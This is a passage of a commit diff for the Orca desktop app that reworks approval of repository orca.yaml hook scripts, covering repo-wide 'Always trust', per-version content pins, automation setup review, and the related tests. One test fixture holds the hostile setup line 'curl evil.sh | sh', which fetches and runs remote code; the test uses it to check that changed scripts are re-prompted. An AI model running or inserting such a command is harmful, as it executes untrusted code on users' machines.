Approve a repo's orca.yaml hooks once, not each version (#42890)

* Trust repository hooks across setup revisions

* Keep declined automation setup reviews unchanged

* Sync localization catalogs for setup trust choices

* Keep automation setup pins unless the repo is trusted

* Explain repo-wide trust wherever Always trust grants it

* Offer only per-version approval for a repo on several hosts

* Follow main's execution-host module move
This commit is contained in:
Brennan Benson
2026-11-16 13:50:18 -08:00
committed by GitHub
parent 4939ff194f
commit 108a7997e4
25 changed files with 687 additions and 458 deletions
@@ -79,7 +79,10 @@ export function createAutomationManagementActions({
const reviewSkippedSetup = (row: AutomationListRow, content: SetupTrustMismatch): void => {
void reviewAutomationSkippedSetup(row.automation, content, (setupTrustHash) =>
updateAutomationRow(row, { setupDecision: 'run', setupTrustHash })
updateAutomationRow(row, {
setupDecision: 'run',
...(setupTrustHash ? { setupTrustHash } : {})
})
).catch((error: unknown) => {
console.error('Failed to approve the automation setup:', error)
})
@@ -135,7 +135,7 @@ export async function saveOrcaAutomation(
})
: currentAutomation.setupDecision
const { trust, setupTrustHash } = await confirmAutomationSaveSetup(context, {
// A new base can bring different orca.yaml setup, so it needs its own approval.
// Confirm setup on the base this automation will use.
prompt:
setupDecision === 'run' &&
((targetEdited && !recordedContext) || edited('setupDecision') || edited('baseBranch')),
@@ -207,7 +207,7 @@ export async function saveOrcaAutomation(
}
: {}),
...(edited('baseBranch') ? { baseBranch: draft.baseBranch.trim() || null } : {}),
...(edited('setupDecision') || setupDecision !== currentAutomation?.setupDecision
...(trust || edited('setupDecision') || setupDecision !== currentAutomation?.setupDecision
? { setupDecision }
: {}),
...(setupTrustHash ? { setupTrustHash } : {}),
@@ -232,7 +232,7 @@ export async function saveOrcaAutomation(
workspaceId: currentAutomation ? currentAutomation.workspaceId : draft.workspaceId,
baseBranch: currentAutomation ? currentAutomation.baseBranch : draft.baseBranch.trim() || null,
setupDecision: currentAutomation ? currentAutomation.setupDecision : setupDecision,
setupTrustHash: currentAutomation ? currentAutomation.setupTrustHash : setupTrustHash,
setupTrustHash: 'setupDecision' in updates ? setupTrustHash : currentAutomation?.setupTrustHash,
reuseSession: currentAutomation
? currentAutomation.reuseSession
: draft.workspaceMode === 'existing' && draft.reuseSession,
@@ -1,6 +1,7 @@
import { toast } from 'sonner'
import { translate } from '@/i18n/i18n'
import { useAppStore } from '@/store/index'
import { isDesktopHookRepoTrusted } from '@/runtime/repo-hooks/hook-script-confirmation'
import {
confirmCreatedWorktreeSetupContent,
ensureHooksApproved,
@@ -13,6 +14,11 @@ import { getAutomationRunRepoId } from '../../../../../shared/automations/histor
import type { SetupDecision, SetupTrustMismatch } from '../../../../../shared/worktree/create-types'
import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host'
type SetupReviewSaveContext = {
local: Pick<AutomationSaveContext['local'], 'targetEdited' | 'editingRowKey'>
list: Pick<AutomationSaveContext['list'], 'visibleRows'>
}
/** Runs create from the automation's base, so approve the orca.yaml there, not the project checkout's. */
export function approveAutomationSetup(
repoId: string,
@@ -21,14 +27,15 @@ export function approveAutomationSetup(
): Promise<HookTrustApproval> {
const createSource = { kind: 'base' as const, baseBranch: baseBranch?.trim() || undefined }
return ensureHooksApproved(
useAppStore.getState(),
useAppStore.getState,
repoId,
'setup',
hostId,
undefined,
undefined,
undefined,
createSource
createSource,
'automation'
)
}
@@ -47,7 +54,10 @@ export function pendingAutomationSetupReview(
return null
}
const content = skipped.content ?? null
return content && content.contentHash === automation.setupTrustHash ? null : { content }
// Why: hosts only skip for a stored hash, so with none the skipped content has since been trusted.
return !automation.setupTrustHash || content?.contentHash === automation.setupTrustHash
? null
: { content }
}
export function pendingAutomationSetupReviewFromSummary(
@@ -61,13 +71,13 @@ export function pendingAutomationSetupReviewFromSummary(
}
/**
* Show the skipped setup commands; approving stores their hash so later runs run them. Nothing
* Show the skipped setup commands; trusting the repo lets later runs use its setup. Nothing
* runs now, and a declined review leaves the automation unchanged.
*/
export async function reviewAutomationSkippedSetup(
automation: Automation,
automation: Pick<Automation, 'projectId' | 'runContext'>,
content: SetupTrustMismatch,
saveSetupTrustHash: (setupTrustHash: string) => Promise<boolean>
saveSetupTrustHash: (setupTrustHash: string | undefined) => Promise<boolean>
): Promise<void> {
const approval = await confirmCreatedWorktreeSetupContent(
useAppStore.getState,
@@ -79,7 +89,11 @@ export async function reviewAutomationSkippedSetup(
if (approval.decision !== 'run' || approval.approvedContentHash === undefined) {
return
}
if (await saveSetupTrustHash(approval.approvedContentHash)) {
if (
await saveSetupTrustHash(
automationSetupPin(getAutomationRunRepoId(automation), approval.approvedContentHash)
)
) {
toast.success(
translate(
'automations.setupTrust.approved',
@@ -91,10 +105,10 @@ export async function reviewAutomationSkippedSetup(
/**
* A save's setup approval: prompt when the target or setup choice changed, else re-review a skipped run.
* The hash is stored with `run` so later runs execute only this content.
* Approvals that don't trust the repo, such as empty setup or a project on two hosts, keep a content pin.
*/
export async function confirmAutomationSaveSetup(
context: Pick<AutomationSaveContext, 'local' | 'list'>,
context: SetupReviewSaveContext,
args: {
prompt: boolean
repoId: string
@@ -108,40 +122,49 @@ export async function confirmAutomationSaveSetup(
const trust = args.prompt
? await approveAutomationSetup(args.repoId, args.hostId, args.baseBranch)
: null
const setupTrustHash =
trust?.approvedContentHash ??
(await reconfirmSkippedSetup(
context,
trust,
args.setupDecision,
args.automation,
args.hostId,
args.baseBranch
))
return { trust, setupTrustHash }
const reviewTrust = trust
? null
: await reconfirmSkippedSetup(
context,
args.setupDecision,
args.automation,
args.hostId,
args.baseBranch
)
const approval = trust ?? reviewTrust
return {
trust: approval,
setupTrustHash: automationSetupPin(args.repoId, approval?.approvedContentHash)
}
}
/** Only a repo trusted for automations runs later setup unpinned; any other approval keeps its content pin. */
function automationSetupPin(repoId: string, approvedContentHash: string | undefined) {
return isDesktopHookRepoTrusted(useAppStore.getState(), repoId, 'automation')
? undefined
: approvedContentHash
}
/**
* Saving an automation whose last run skipped changed setup re-confirms that setup: the skipped
* content when the host recorded it, else the content at the automation's base. Returns the hash to store.
* content when the host recorded it, else the content at the automation's base.
*/
async function reconfirmSkippedSetup(
context: Pick<AutomationSaveContext, 'local' | 'list'>,
trust: HookTrustApproval | null,
context: SetupReviewSaveContext,
setupDecision: SetupDecision | undefined,
automation: Automation | null,
hostId: ExecutionHostId | undefined,
baseBranch: string | null | undefined
): Promise<string | undefined> {
): Promise<HookTrustApproval | null> {
// A changed target or setup choice was just confirmed by the regular save prompt.
if (trust || context.local.targetEdited || setupDecision !== 'run' || !automation) {
return undefined
if (context.local.targetEdited || setupDecision !== 'run' || !automation) {
return null
}
const { editingRowKey } = context.local
const summary = context.list.visibleRows.find((row) => row.key === editingRowKey)?.usageSummary
const review = pendingAutomationSetupReviewFromSummary(automation, summary ?? null)
if (!review) {
return undefined
return null
}
const repoId = getAutomationRunRepoId(automation)
const approval = review.content
@@ -153,7 +176,5 @@ async function reconfirmSkippedSetup(
'automation'
)
: await approveAutomationSetup(repoId, hostId, baseBranch)
return approval.decision === 'run' && approval.approvedContentHash !== automation.setupTrustHash
? approval.approvedContentHash
: undefined
return approval.decision === 'run' ? approval : null
}
@@ -8,8 +8,14 @@ import { useAppStore } from '@/store'
import {
__resetTrustPromptChainForTests,
confirmCreatedWorktreeSetupContent,
ensureHooksApproved,
ensureHooksConfirmed
} from '@/runtime/repo-hooks/ensure-hooks-confirmed'
import {
approveAutomationSetup,
confirmAutomationSaveSetup,
reviewAutomationSkippedSetup
} from '../automations/authoring/automation-setup-review'
import type { Repo } from '../../../../shared/repository/repo-types'
const hooksCheck = vi.fn()
@@ -67,7 +73,7 @@ function confirmSetup(): Promise<'run' | 'skip'> {
async function waitForPrompt(): Promise<void> {
await vi.waitFor(() => {
expect(useAppStore.getState().activeModal).toBe('confirm-orca-yaml-hooks')
expect(document.body.querySelector('input[type="checkbox"]')).not.toBeNull()
expect(document.body.querySelector('[role="dialog"]')).not.toBeNull()
})
}
@@ -83,27 +89,29 @@ function clickButton(label: string): void {
async function approveWithAlwaysTrust(): Promise<void> {
await waitForPrompt()
act(() => {
document.body.querySelector<HTMLInputElement>('input[type="checkbox"]')?.click()
})
clickButton('Run hooks')
clickButton('Always trust')
}
describe('OrcaYamlTrustDialog Always trust', () => {
it('keeps the approved script hash so a repo on two hosts stops prompting', async () => {
describe('OrcaYamlTrustDialog repo on two hosts', () => {
it('keeps the approved script hash and offers no repo-wide trust', async () => {
useAppStore.setState({ repos: [makeRepo('local'), makeRepo('runtime:vm-1')] })
serveSetupScript('pnpm install')
const first = confirmSetup()
await approveWithAlwaysTrust()
await waitForPrompt()
expect(
Array.from(document.body.querySelectorAll('button')).some(
(button) => button.textContent === 'Always trust'
)
).toBe(false)
clickButton('Run hooks')
await expect(first).resolves.toBe('run')
expect(useAppStore.getState().trustedOrcaHooks['repo-1']).toEqual({
all: { approvedAt: expect.any(Number) },
setup: { contentHash: expect.any(String), approvedAt: expect.any(Number) }
})
expect(uiSet).toHaveBeenLastCalledWith({
trustedOrcaHooks: useAppStore.getState().trustedOrcaHooks
setup: {
contentHash: '005d0b7e5c261dcc5e2f8568e69a0b30e889a3275b55b18ec20a7deef0081e90',
approvedAt: expect.any(Number)
}
})
await expect(confirmSetup()).resolves.toBe('run')
@@ -112,46 +120,172 @@ describe('OrcaYamlTrustDialog Always trust', () => {
serveSetupScript('pnpm install && curl evil.sh | sh')
const edited = confirmSetup()
await waitForPrompt()
expect(useAppStore.getState().modalData).toEqual(
expect.objectContaining({ previouslyApproved: true })
)
clickButton("Don't run")
await expect(edited).resolves.toBe('skip')
})
})
describe('OrcaYamlTrustDialog created branch review', () => {
it("saves a created branch's approved setup alongside the primary checkout's", async () => {
describe('OrcaYamlTrustDialog repo approval', () => {
it('runs once with the shown hash and stores no approval, including after a mismatch', async () => {
useAppStore.setState({ repos: [makeRepo('local')] })
serveSetupScript('pnpm install')
const primary = confirmSetup()
const first = ensureHooksApproved(useAppStore.getState, 'repo-1', 'setup', 'local')
await waitForPrompt()
clickButton('Run hooks')
await expect(primary).resolves.toBe('run')
const primaryHash = useAppStore.getState().trustedOrcaHooks['repo-1']?.setup?.contentHash
const reviewBranch = (): ReturnType<typeof confirmCreatedWorktreeSetupContent> =>
confirmCreatedWorktreeSetupContent(
() => useAppStore.getState(),
'repo-1',
'pnpm install && pnpm build',
'local'
)
const review = reviewBranch()
await waitForPrompt()
expect(document.body.textContent).toContain('pnpm install && pnpm build')
clickButton('Run hooks')
const approval = await review
expect(approval.decision).toBe('run')
expect(useAppStore.getState().trustedOrcaHooks['repo-1']?.setup).toEqual({
contentHash: approval.approvedContentHash,
approvedAt: expect.any(Number),
previousContentHashes: [primaryHash]
clickButton('Run once')
await expect(first).resolves.toEqual({
decision: 'run',
approvedContentHash: '005d0b7e5c261dcc5e2f8568e69a0b30e889a3275b55b18ec20a7deef0081e90'
})
// Neither the primary checkout's script nor the branch's prompts again.
await expect(confirmSetup()).resolves.toBe('run')
await expect(reviewBranch()).resolves.toEqual(approval)
expect(useAppStore.getState().trustedOrcaHooks).toEqual({})
const review = confirmCreatedWorktreeSetupContent(
useAppStore.getState,
'repo-1',
'pnpm install && pnpm build',
'local'
)
await waitForPrompt()
clickButton('Run once')
await expect(review).resolves.toEqual({
decision: 'run',
approvedContentHash: 'e7e22ff042aa9e982d7cc5d39b5f8980822c0aef1f3f9edb76d8da4691e4f2cb'
})
expect(useAppStore.getState().trustedOrcaHooks).toEqual({})
const again = confirmSetup()
await waitForPrompt()
clickButton("Don't run")
await expect(again).resolves.toBe('skip')
})
it('always trusts future content and other hook kinds without sending a hash', async () => {
useAppStore.setState({ repos: [makeRepo('local')] })
serveSetupScript('pnpm install')
const first = ensureHooksApproved(useAppStore.getState, 'repo-1', 'setup', 'local')
await approveWithAlwaysTrust()
await expect(first).resolves.toEqual({ decision: 'run' })
expect(useAppStore.getState().trustedOrcaHooks['repo-1']).toEqual({
all: { approvedAt: expect.any(Number) }
})
serveSetupScript('pnpm build')
await expect(
ensureHooksApproved(useAppStore.getState, 'repo-1', 'setup', 'local')
).resolves.toEqual({ decision: 'run' })
await expect(
ensureHooksApproved(useAppStore.getState, 'repo-1', 'archive', 'local')
).resolves.toEqual({ decision: 'run' })
expect(useAppStore.getState().activeModal).toBe('none')
})
it('counts an existing approval for another hook as repo trust, but not for VM creates', async () => {
useAppStore.setState({
repos: [makeRepo('local')],
trustedOrcaHooks: { 'repo-1': { archive: { contentHash: 'old-archive', approvedAt: 1 } } }
})
serveSetupScript('pnpm install')
await expect(
ensureHooksApproved(useAppStore.getState, 'repo-1', 'setup', 'local')
).resolves.toEqual({ decision: 'run' })
const vm = ensureHooksApproved(
useAppStore.getState,
'repo-1',
'setup',
'local',
undefined,
undefined,
undefined,
undefined,
'vm'
)
await waitForPrompt()
clickButton('Run hooks')
await expect(vm).resolves.toEqual({
decision: 'run',
approvedContentHash: '005d0b7e5c261dcc5e2f8568e69a0b30e889a3275b55b18ec20a7deef0081e90'
})
expect(useAppStore.getState().trustedOrcaHooks['repo-1']?.setup?.contentHash).toBe(
'005d0b7e5c261dcc5e2f8568e69a0b30e889a3275b55b18ec20a7deef0081e90'
)
const changedVm = confirmCreatedWorktreeSetupContent(
useAppStore.getState,
'repo-1',
'pnpm build',
'local',
'created-branch',
'vm'
)
await waitForPrompt()
clickButton('Run hooks')
await expect(changedVm).resolves.toEqual({
decision: 'run',
approvedContentHash: '702e948d947e109310cb2bf19c157b5bb8142b88c87e02ae87a7594c9b797893'
})
})
})
describe('automation setup approval', () => {
it('saves repo trust for future runs and returns no pinned hash', async () => {
useAppStore.setState({ repos: [makeRepo('local')] })
serveSetupScript('pnpm install')
const approval = approveAutomationSetup('repo-1', 'local', 'origin/main')
await waitForPrompt()
clickButton('Always trust')
await expect(approval).resolves.toEqual({ decision: 'run' })
expect(useAppStore.getState().trustedOrcaHooks['repo-1']).toEqual({
all: { approvedAt: expect.any(Number) }
})
})
it('pins empty setup so commands added later need approval', async () => {
useAppStore.setState({ repos: [makeRepo('local')] })
serveSetupScript('')
await expect(
confirmAutomationSaveSetup(
{ local: { targetEdited: false, editingRowKey: null }, list: { visibleRows: [] } },
{
prompt: true,
repoId: 'repo-1',
hostId: 'local',
baseBranch: 'origin/main',
setupDecision: 'run',
automation: null
}
)
).resolves.toMatchObject({
setupTrustHash: 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'
})
})
it('clears an old automation hash when its skipped setup is approved', async () => {
useAppStore.setState({ repos: [makeRepo('local')] })
const save = vi.fn<(hash: string | undefined) => Promise<boolean>>().mockResolvedValue(true)
const review = reviewAutomationSkippedSetup(
{ projectId: 'repo-1' },
{
scriptContent: 'pnpm install',
contentHash: 'old-version'
},
save
)
await approveWithAlwaysTrust()
await review
expect(save).toHaveBeenCalledWith(undefined)
expect(useAppStore.getState().trustedOrcaHooks['repo-1']).toEqual({
all: { approvedAt: expect.any(Number) }
})
})
it('retains pinned approval when the automation repo is on two hosts', async () => {
useAppStore.setState({ repos: [makeRepo('local'), makeRepo('runtime:vm-1')] })
serveSetupScript('pnpm install')
const approval = approveAutomationSetup('repo-1', 'local', 'origin/main')
await waitForPrompt()
clickButton('Run hooks')
await expect(approval).resolves.toEqual({
decision: 'run',
approvedContentHash: '005d0b7e5c261dcc5e2f8568e69a0b30e889a3275b55b18ec20a7deef0081e90'
})
expect(useAppStore.getState().trustedOrcaHooks['repo-1']?.setup?.contentHash).toBe(
'005d0b7e5c261dcc5e2f8568e69a0b30e889a3275b55b18ec20a7deef0081e90'
)
})
})
@@ -1,4 +1,4 @@
import React, { useCallback, useState } from 'react'
import React, { useCallback } from 'react'
import {
Dialog,
DialogContent,
@@ -11,192 +11,20 @@ import { Button } from '@/components/ui/button'
import { useAppStore } from '@/store'
import type { OrcaHookTrustKind } from '../../../../shared/workspace-setup/hooks/orca-hook-trust-entries'
import { Trans } from 'react-i18next'
import { i18n, translate } from '@/i18n/i18n'
import { useTranslate, type Translate } from '@/i18n/use-translate'
import { i18n } from '@/i18n/i18n'
import { useTranslate } from '@/i18n/use-translate'
import { useUiLanguageRevision } from '@/i18n/use-ui-language-revision'
import {
getCreatedBranchCopy,
getAutomationReviewCopy,
getTitle,
getDescription,
getScriptHeading
} from './orca-yaml-trust-copy'
type ScriptKind = OrcaHookTrustKind
type SkippedSetupReviewCopy = {
title: string
description: string
heading: string
confirmLabel?: string
}
/** Copy for a created workspace whose branch has different setup commands than the ones approved. */
function getCreatedBranchCopy(t: Translate = translate): SkippedSetupReviewCopy {
return {
title: t(
'worktree.setupTrust.branchDiffersTitle',
"This workspace's branch has different setup commands"
),
description: t(
'worktree.setupTrust.branchDiffersBody',
"The workspace was created, but its setup didn't run: its branch's <code>orca.yaml</code> differs from what you approved. Run these for this workspace only if you trust <repo/>."
),
heading: t('worktree.setupTrust.branchSetupScript', "Branch's setup script")
}
}
/** Copy for an automation whose run skipped setup because its branch's commands changed. */
function getAutomationReviewCopy(t: Translate = translate): SkippedSetupReviewCopy {
return {
title: t(
'automations.setupTrust.reviewTitle',
'Approve the new setup commands for this automation?'
),
description: t(
'automations.setupTrust.reviewBody',
"A run skipped setup because its branch's <code>orca.yaml</code> setup commands changed. Approving lets later runs use these commands. Only approve if you trust <repo/>."
),
heading: t('worktree.setupTrust.branchSetupScript', "Branch's setup script"),
confirmLabel: t('automations.setupTrust.approve', 'Approve')
}
}
function getTitle(
kind: ScriptKind,
repoName: string,
previouslyApproved: boolean,
t: Translate = translate
): string {
const repo = { repo: repoName }
if (previouslyApproved) {
switch (kind) {
case 'setup':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.setupChangedTitle',
"{{repo}}'s setup script changed — run the new version?",
repo
)
case 'archive':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.archiveChangedTitle',
"{{repo}}'s archive script changed — run the new version?",
repo
)
case 'issueCommand':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.issueCommandChangedTitle',
"{{repo}}'s issue command changed — run the new version?",
repo
)
case 'vmRecipe':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.vmRecipeChangedTitle',
"{{repo}}'s VM recipe changed — run the new version?",
repo
)
}
}
switch (kind) {
case 'setup':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.setupRunTitle',
'Run setup script from {{repo}}?',
repo
)
case 'archive':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.archiveRunTitle',
'Run archive script from {{repo}}?',
repo
)
case 'issueCommand':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.issueCommandRunTitle',
'Run issue command from {{repo}}?',
repo
)
case 'vmRecipe':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.vmRecipeRunTitle',
'Run VM recipe from {{repo}}?',
repo
)
}
}
// Templates embed <code>orca.yaml</code> and a <repo/> slot filled by the component.
function getDescription(
kind: ScriptKind,
previouslyApproved: boolean,
t: Translate = translate
): string {
if (previouslyApproved) {
switch (kind) {
case 'setup':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.setupChangedBody',
'<code>orca.yaml</code> changed since you last approved. Re-review before it runs when this workspace is created.'
)
case 'archive':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.archiveChangedBody',
'<code>orca.yaml</code> changed since you last approved. Re-review before it runs when this workspace is removed.'
)
case 'issueCommand':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.issueCommandChangedBody',
'<code>orca.yaml</code> changed since you last approved. Re-review before it runs when this workspace launches with a linked issue.'
)
case 'vmRecipe':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.vmRecipeChangedBody',
'<code>orca.yaml</code> changed since you last approved. Re-review before it runs before provisioning a VM.'
)
}
}
switch (kind) {
case 'setup':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.setupRunBody',
"This repository's <code>orca.yaml</code> runs on your machine when this workspace is created. Only run if you trust <repo/>."
)
case 'archive':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.archiveRunBody',
"This repository's <code>orca.yaml</code> runs on your machine when this workspace is removed. Only run if you trust <repo/>."
)
case 'issueCommand':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.issueCommandRunBody',
"This repository's <code>orca.yaml</code> runs on your machine when this workspace launches with a linked issue. Only run if you trust <repo/>."
)
case 'vmRecipe':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.vmRecipeRunBody',
"This repository's <code>orca.yaml</code> runs on your machine before provisioning a VM. Only run if you trust <repo/>."
)
}
}
function getScriptHeading(
kind: ScriptKind,
previouslyApproved: boolean,
t: Translate = translate
): string {
switch (kind) {
case 'setup':
return previouslyApproved
? t('auto.components.sidebar.OrcaYamlTrustDialog.newSetupScript', 'New setup script')
: t('auto.components.sidebar.OrcaYamlTrustDialog.setupScript', 'Setup script')
case 'archive':
return previouslyApproved
? t('auto.components.sidebar.OrcaYamlTrustDialog.newArchiveScript', 'New archive script')
: t('auto.components.sidebar.OrcaYamlTrustDialog.archiveScript', 'Archive script')
case 'issueCommand':
return previouslyApproved
? t('auto.components.sidebar.OrcaYamlTrustDialog.newIssueCommand', 'New issue command')
: t('auto.components.sidebar.OrcaYamlTrustDialog.issueCommand', 'Issue command')
case 'vmRecipe':
return previouslyApproved
? t('auto.components.sidebar.OrcaYamlTrustDialog.newVmRecipe', 'New VM recipe')
: t('auto.components.sidebar.OrcaYamlTrustDialog.vmRecipe', 'VM recipe')
}
}
const OrcaYamlTrustDialog = React.memo(function OrcaYamlTrustDialog() {
const t = useTranslate()
useUiLanguageRevision()
@@ -207,20 +35,6 @@ const OrcaYamlTrustDialog = React.memo(function OrcaYamlTrustDialog() {
const markOrcaHookRepoAlwaysTrusted = useAppStore((s) => s.markOrcaHookRepoAlwaysTrusted)
const isOpen = activeModal === 'confirm-orca-yaml-hooks'
const [alwaysTrustState, setAlwaysTrustState] = useState(() => ({
isOpen,
value: false
}))
// Reset before paint so a new hook prompt never flashes stale Always trust consent.
if (alwaysTrustState.isOpen !== isOpen) {
setAlwaysTrustState({ isOpen, value: false })
}
const alwaysTrust = alwaysTrustState.isOpen === isOpen ? alwaysTrustState.value : false
const setAlwaysTrust = (value: boolean): void => {
setAlwaysTrustState({ isOpen, value })
}
const repoId = typeof modalData.repoId === 'string' ? modalData.repoId : ''
const repoName =
typeof modalData.repoName === 'string'
@@ -236,27 +50,25 @@ const OrcaYamlTrustDialog = React.memo(function OrcaYamlTrustDialog() {
: 'setup'
const scriptContent = typeof modalData.scriptContent === 'string' ? modalData.scriptContent : ''
const contentHash = typeof modalData.contentHash === 'string' ? modalData.contentHash : ''
const previouslyApproved = modalData.previouslyApproved === true
const versionOnly = modalData.versionOnly === true
const repoWideTrust = modalData.repoWideTrust === true
const automation = modalData.automation === true
const previouslyApproved = versionOnly && modalData.previouslyApproved === true
const reviewCopy =
modalData.skippedSetupReview === 'created-branch'
? getCreatedBranchCopy(t)
: modalData.skippedSetupReview === 'automation'
? getAutomationReviewCopy(t)
: null
const onResolve =
typeof modalData.onResolve === 'function'
? (modalData.onResolve as (decision: 'run' | 'skip') => void)
: null
const onResolve = typeof modalData.onResolve === 'function' ? modalData.onResolve : null
const resolveAndClose = useCallback(
(decision: 'run' | 'skip') => {
if (decision === 'run' && repoId) {
// Repo-wide trust is ignored when the repo id is on two hosts, so keep this script's approval too.
// Earlier approvals stay in the repo's bounded history, so a branch's script joins them.
if (contentHash) {
(decision: 'run' | 'trust' | 'skip') => {
if (decision !== 'skip' && repoId) {
if (versionOnly && contentHash) {
markOrcaHookScriptConfirmed(repoId, scriptKind, contentHash)
}
if (alwaysTrust) {
if (decision === 'trust') {
markOrcaHookRepoAlwaysTrusted(repoId)
}
}
@@ -264,7 +76,7 @@ const OrcaYamlTrustDialog = React.memo(function OrcaYamlTrustDialog() {
closeModal()
},
[
alwaysTrust,
versionOnly,
closeModal,
contentHash,
markOrcaHookRepoAlwaysTrusted,
@@ -304,7 +116,7 @@ const OrcaYamlTrustDialog = React.memo(function OrcaYamlTrustDialog() {
{scriptContent && (
<div className="rounded-md border border-border/70 bg-muted/35 px-3 py-2">
<div className="mb-1 text-[11px] font-medium uppercase tracking-wide text-muted-foreground">
<div className="mb-1 text-2xs font-medium uppercase tracking-wide text-muted-foreground">
{reviewCopy?.heading ?? getScriptHeading(scriptKind, previouslyApproved, t)}
</div>
<pre className="max-h-48 overflow-auto whitespace-pre-wrap break-all font-mono text-xs text-foreground scrollbar-sleek">
@@ -313,39 +125,40 @@ const OrcaYamlTrustDialog = React.memo(function OrcaYamlTrustDialog() {
</div>
)}
<label
className={`flex cursor-pointer items-center gap-2.5 rounded-md border px-3 py-2 transition-colors ${
alwaysTrust
? 'border-primary/60 bg-primary/5'
: 'border-border/70 bg-muted/25 hover:border-border hover:bg-muted/40'
}`}
>
<input
type="checkbox"
className="h-4 w-4 accent-primary"
checked={alwaysTrust}
onChange={(event) => setAlwaysTrust(event.target.checked)}
/>
<span className="text-xs font-medium text-foreground">
{repoWideTrust && (
<p className="text-xs text-muted-foreground">
<Trans
i18n={i18n}
defaults={t(
'auto.components.sidebar.OrcaYamlTrustDialog.alwaysTrustRepo',
'Always trust <code>orca.yaml</code> in <repo/>'
'worktree.setupTrust.alwaysTrustScope',
'Always trust runs future <code>orca.yaml</code> changes in <repo/> without asking.'
)}
components={{ code: <code />, repo: <>{repoName}</> }}
/>
</span>
</label>
</p>
)}
<DialogFooter>
<Button variant="outline" onClick={() => resolveAndClose('skip')}>
<Button variant="ghost" onClick={() => resolveAndClose('skip')}>
{t('auto.components.sidebar.OrcaYamlTrustDialog.43b7bec4cd', "Don't run")}
</Button>
<Button onClick={() => resolveAndClose('run')}>
{reviewCopy?.confirmLabel ??
t('auto.components.sidebar.OrcaYamlTrustDialog.f3e2b868fb', 'Run hooks')}
</Button>
{(!automation || versionOnly) && (
<Button
variant={repoWideTrust ? 'secondary' : 'default'}
autoFocus={!repoWideTrust}
onClick={() => resolveAndClose('run')}
>
{versionOnly
? t('auto.components.sidebar.OrcaYamlTrustDialog.f3e2b868fb', 'Run hooks')
: t('worktree.setupTrust.runOnce', 'Run once')}
</Button>
)}
{/* Why: repo-wide trust is ignored for a repo id on several hosts. */}
{repoWideTrust && (
<Button autoFocus onClick={() => resolveAndClose('trust')}>
{t('worktree.setupTrust.alwaysTrust', 'Always trust')}
</Button>
)}
</DialogFooter>
</DialogContent>
</Dialog>
@@ -0,0 +1,181 @@
import { translate } from '@/i18n/i18n'
import type { Translate } from '@/i18n/use-translate'
import type { OrcaHookTrustKind as ScriptKind } from '../../../../shared/workspace-setup/hooks/orca-hook-trust-entries'
type SkippedSetupReviewCopy = {
title: string
description: string
heading: string
}
/** Copy for a created workspace whose branch has different setup commands than the ones approved. */
export function getCreatedBranchCopy(t: Translate = translate): SkippedSetupReviewCopy {
return {
title: t(
'worktree.setupTrust.branchDiffersTitle',
"This workspace's branch has different setup commands"
),
description: t(
'worktree.setupTrust.branchDiffersBody',
"The workspace was created, but its setup didn't run: its branch's <code>orca.yaml</code> differs from what you approved. Run these for this workspace only if you trust <repo/>."
),
heading: t('worktree.setupTrust.branchSetupScript', "Branch's setup script")
}
}
/** Copy for an automation whose run skipped setup because its branch's commands changed. */
export function getAutomationReviewCopy(t: Translate = translate): SkippedSetupReviewCopy {
return {
title: t(
'automations.setupTrust.reviewTitle',
'Approve the new setup commands for this automation?'
),
description: t(
'automations.setupTrust.reviewBody',
"A run skipped setup because its branch's <code>orca.yaml</code> setup commands changed. Approving lets later runs use these commands. Only approve if you trust <repo/>."
),
heading: t('worktree.setupTrust.branchSetupScript', "Branch's setup script")
}
}
export function getTitle(
kind: ScriptKind,
repoName: string,
previouslyApproved: boolean,
t: Translate = translate
): string {
const repo = { repo: repoName }
if (previouslyApproved) {
switch (kind) {
case 'setup':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.setupChangedTitle',
"{{repo}}'s setup script changed — run the new version?",
repo
)
case 'archive':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.archiveChangedTitle',
"{{repo}}'s archive script changed — run the new version?",
repo
)
case 'issueCommand':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.issueCommandChangedTitle',
"{{repo}}'s issue command changed — run the new version?",
repo
)
case 'vmRecipe':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.vmRecipeChangedTitle',
"{{repo}}'s VM recipe changed — run the new version?",
repo
)
}
}
switch (kind) {
case 'setup':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.setupRunTitle',
'Run setup script from {{repo}}?',
repo
)
case 'archive':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.archiveRunTitle',
'Run archive script from {{repo}}?',
repo
)
case 'issueCommand':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.issueCommandRunTitle',
'Run issue command from {{repo}}?',
repo
)
case 'vmRecipe':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.vmRecipeRunTitle',
'Run VM recipe from {{repo}}?',
repo
)
}
}
// Templates embed <code>orca.yaml</code> and a <repo/> slot filled by the component.
export function getDescription(
kind: ScriptKind,
previouslyApproved: boolean,
t: Translate = translate
): string {
if (previouslyApproved) {
switch (kind) {
case 'setup':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.setupChangedBody',
'<code>orca.yaml</code> changed since you last approved. Re-review before it runs when this workspace is created.'
)
case 'archive':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.archiveChangedBody',
'<code>orca.yaml</code> changed since you last approved. Re-review before it runs when this workspace is removed.'
)
case 'issueCommand':
return t(
'auto.components.sidebar.OrcaYamlTrustDialog.issueCommandChangedBody',
'<code>orca.yaml</code> changed since you last approved. Re-review before it runs when this workspace launches with a linked issue.'
)
case 'vmRecipe':
return t(
